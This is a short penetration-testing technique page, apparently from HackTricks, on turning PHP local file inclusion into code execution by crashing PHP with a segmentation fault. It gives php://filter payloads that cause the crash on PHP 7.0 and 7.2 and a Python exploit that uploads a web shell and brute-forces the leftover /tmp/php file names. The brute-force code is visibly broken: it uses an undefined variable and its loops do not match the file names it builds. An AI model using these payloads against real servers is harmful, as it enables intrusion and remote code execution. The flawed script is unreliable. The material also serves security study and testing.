Segmentation Fault

Theory

If we send a POST request containing a file, PHP will create a temporary file in /tmp/php<something> with the contents of that file. This file will be automatically deleted once the request was processed.

If you find a LFI and you manage to trigger a segmentation fault in PHP, the temporary file will never be deleted. Therefore, you can search for it with the LFI vulnerability until you find it and execute arbitrary code.

This method require a PHP 7.0 or PHP 7.2 version

Practice

Following payloads caused a segmentation fault in PHP:

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

We can use the following python exploit :

# upload file with segmentation fault
# create the shell.php file to upload before
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('shell.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
    for i in charset:
        for j in charset:
            for k in charset:
                for l in charset:
                    for m in charset:
                        for n in charset:
                            filename = prefix + i + j + k
                            url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
                            print url
                            response = requests.get(url)
                            if 'spyd3r' in response.content:
                                print "[+] Include success!"
                                return True


def main():
    bruteforce(charset)

if __name__ == "__main__":
    main()

Resources

LFI2RCE via Segmentation FaultHackTricks